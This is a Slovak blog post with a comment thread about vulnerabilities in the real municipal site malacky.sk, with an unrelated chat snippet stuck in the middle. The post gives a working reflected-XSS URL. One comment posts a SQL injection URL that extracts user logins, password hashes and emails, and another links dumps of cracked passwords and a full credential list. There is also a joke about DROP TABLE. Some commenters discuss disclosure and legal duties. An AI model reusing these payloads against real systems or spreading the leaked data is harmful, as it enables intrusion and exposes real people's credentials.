WebSupport.sk
UnlimitedHosting
|
CustomHosting
|
FreeWeb.sk
Dnes si tak brúzdam sajtom Malaciek (malacky.sk), až narazím na spoločnosť, ktorá mala túto stránku na starosti - oxide.sk . Niekde som názov tejto firmy už počul, nespomenul som si avšak kde, tak som skúsil Google a dostávam sa na stránku SME.sk, kde sa dozvedám, že portál malacky stál 88-tisíc slovenských korún (2921€). Suma nemalá, tak som bol zvedavý, za čo oXide zhabal skoro 3000€. Skúšam textové pole na XSS v podobe:
"<script>alert(1)</script>
ale dostanem len escapenutý string v podobe:
\"<script>alert(1)</script>
Následne si čítam o meste a v adresbare si všímam:
http://www.malacky.sk/index.php?page=registracia
http://www.malacky.sk/index.php?page=zabudnute_heslo
http://www.malacky.sk/index.php?page=uradtab_archiv
Inak povedané zaujal ma hlavne ?page=. Skúšam opäť a XSS ako vyšité, bez akéhokoľvek escapu a inicializované dokonca 3x (!!) za jeden DOM load. Čiže na malacky.sk nájdete novú službu menom "Hacknite si malacky.sk". Chcete napríklad google v Malackách? Žiadny problém >> http://www.malacky.sk/index.php?page=%22%3Ciframe%20src=http://www.google.com%3E%3C/iframe%3E
Kradnúť maily? Cookies? Heslá? opäť žiadny problém. Dôvod prečo postujem tento článok je ten, že ma zaujalo, ako mesto Malacky dá peniaze (dosť veľké - pravda?) za projekt, bez akéhokoľvek zabezpečenia, namiesto toho aby použila free CMS riešenia, ktoré sú (väčšinou) bez takýchto veľkých a "detských" chýb.
Som sa pomylil v slove naspameť a takto to dopadlo. :-D
[19:35:17] x: caw
[19:37:15] x: iba tak pls povedz dajaky freehosting okrem hostujem a webzdarma
[19:37:27] y: nwm daj do googlu
[19:37:49] x: uz som skusal, same somariny
[19:37:55] x: dajaky povedz
[19:38:06] y: wed nwm
[19:38:10] y: nasamet
[19:38:27] x: dik
[19:38:40] x: .com?
[19:39:11] x: ale ten nasamet je arabsky
|
webhosting by:
WebSupport.sk
|
UnlimitedHosting | CustomHosting | FreeWeb.sk |
Comments
Re: Hacknite si malacky.sk...
http://www.malacky.sk/index.php?page=uradtab_archiv&id=-1%20union%20all%20select%201,2,concat(login,0x3a,heslo,0x3a,email),4,5,6%20from%20mlc_user--
Re: Hacknite si malacky.sk...
a čo takto DROP TABLE ? :)
Re: Hacknite si malacky.sk...
Tak dropovat nic nebudem ale ked tak, tu su niake dumpy :
Cracknute hashe (SHA1 ) (ba 33% zo 100% ) :
http://pastebin.ca/1388358
Full dump vo formate login:pass:email
http://pastebin.ca/1388359
Have Fun :D
Re: Hacknite si malacky.sk...
Kradnúť maily? Cookies? Heslá? opäť žiadny problém.
Žiadny problém? Cez nepermanentné XSS napriamo asi ťažko. Alebo je tam aj iná zraniteľnosť?
Dôvod prečo postujem tento článok je ten, že ma zaujalo, ako mesto Malacky dá peniaze (dosť veľké - pravda?) za projekt
No neviem, mne to nepríde ako veľký peniaz a už vôbec nie za projekt podobného pozsahu.
bez akéhokoľvek zabezpečenia,
Bez akéhokoľvek zabezpečenia? Napíš o tom niečo viac ak sa dá, lebo z toho čo si napísal to môže byť kľudne jedno zabudnuté htmlspecialchars a neošetrené magic_quotes.
namiesto toho aby použila free CMS riešenia, ktoré sú (väčšinou) bez takýchto veľkých a "detských" chýb.
:) Ehm, to by som už vôbec negeneralizoval. Free neznamená nič iné ako slobodný, s kvalitou kódu to môže mať spoločné pramálo. Napríklad taký Free a OpenSource ZENcart - osobne moc nepoznám, názory adminov a hosterov v diskusii sú ale pekne pikantné a hovoria za všetko. Verím tomu, mám podobné skúsenosti s inými OpenSource projektami.
PS: reportol si im to? Reagovali? Ako dlho trvala oprava?
PPS: (EDIT) tak už vidím, že tam sú aj horšie diery ako si napísal... súhlasím v tom, že to vyzerá na odfláknutú robotu.
Re: Hacknite si malacky.sk...
PPS: (EDIT) tak už vidím, že tam sú aj horšie diery ako si napísal... súhlasím v tom, že to vyzerá na odfláknutú robotu.
Ta sajta je derava jak emental. SQL injection na kazdom rohu.. Sa cudujem, ze sa autor toho webu nehanbi nazvat programator. Ja by som ho nenazval ani wannabe..
----------
tommyhot@hackingmachine:~$ microsoft &> /dev/null
Re: Hacknite si malacky.sk...
Áno nejaké SQL injection som si neskôr tiež všimol, je to fakt smutné. Takýchto "programátorov" bez akýchkoľvek skúseností je žiaľ dnes plno. Vidím to ale hlavne ako chybu mesta, pretože hotovú zákazku by si pred ostrým nasadením mali dať preveriť, keď už nikto z pracovníkov mesta nevie posúdiť kvalitu a bezpečnosť diela, tak to mali dať zhodnotiť externe.
Re: Hacknite si malacky.sk...
Ide o to, ze na mestskom urade nikoho ani nenapadne, ze existuje daka moznost zneuzitia ich webu, takze pri preberani projektu to ani nik nekontroluje, resp. nikoho neziada o kontrolu. To co sa rata je design + ci to robi veci, ktore to robit ma. Otazky bezpecnosti sa riesia az potom, ked niekto dokresli na sajte primatorovi fuzy..
Re: Hacknite si malacky.sk...
Ak by na úrade apoň niekto uvažoval hlavou a v rámci platnej legilatívy, určite by ich napadlo, že s novým webom im vzniká aj nový informačný systém a minimálne z pohľadu zákona o ochrane osobných údajov by mali bezpečnosť takéhoto systému riešiť.
Re: Hacknite si malacky.sk...
Žiadny problém? Cez nepermanentné XSS napriamo asi ťažko. Alebo je tam aj iná zraniteľnosť?
no ja tam vidím perzistentné XSS, môžem sa mýliť :) aj ja sa len učím :)
Free neznamená nič iné ako slobodný, s kvalitou kódu to môže mať spoločné pramálo.
s tým súhlasim, veď ja som nikde nepovedal že free = automaticky dobré a výborné, ja som len chcel poukázať na to, že napríklad Nuke, Joomla alebo drupal by to isto zvládol lepšie, a aj keď nie, tak isto za menší peniaz.
PS: reportol si im to? Reagovali? Ako dlho trvala oprava?
reportol samozrejme, oprava trvá už od augusta minulého roka dlho pradlho kedy im 17 ročný autor (od 11:15) dodal neúplnú aplikáciu, čo potvrdilo aj samo mesto, článkov na tému malacky.sk a oxide nájdeš na internete neúrekom, stačí počítať :)
PPS: (EDIT) tak už vidím, že tam sú aj horšie diery ako si napísal... súhlasím v tom, že to vyzerá na odfláknutú robotu.
;)
Re: Hacknite si malacky.sk...
Aha, už chápem a aj ja držím malackému Billovy Gatesovy palce :-D